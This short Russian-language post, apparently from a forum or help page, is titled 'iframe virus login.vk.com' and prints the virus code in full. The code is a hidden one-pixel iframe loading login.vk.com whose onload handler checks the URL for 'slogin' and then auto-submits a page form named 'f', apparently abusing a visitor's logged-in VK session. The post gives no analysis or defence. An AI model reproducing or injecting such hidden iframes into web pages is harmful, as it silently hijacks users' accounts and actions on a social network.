Вирус iframe login.vk.com

Код вируса:

<iframe name="mf" onload="try{if (this.contentWindow.location.href.indexOf('slogin') != -1) {if (this.contentWindow.location.href.indexOf('nonenone') != -1) {return false;} document.f.submit();}} catch(e) {}" border=0 style="border:0px; background-color:#FFF; margin-left: 20px; position: absolute;" src="http://login.vk.com/?vk=" width="1" height="1"></iframe>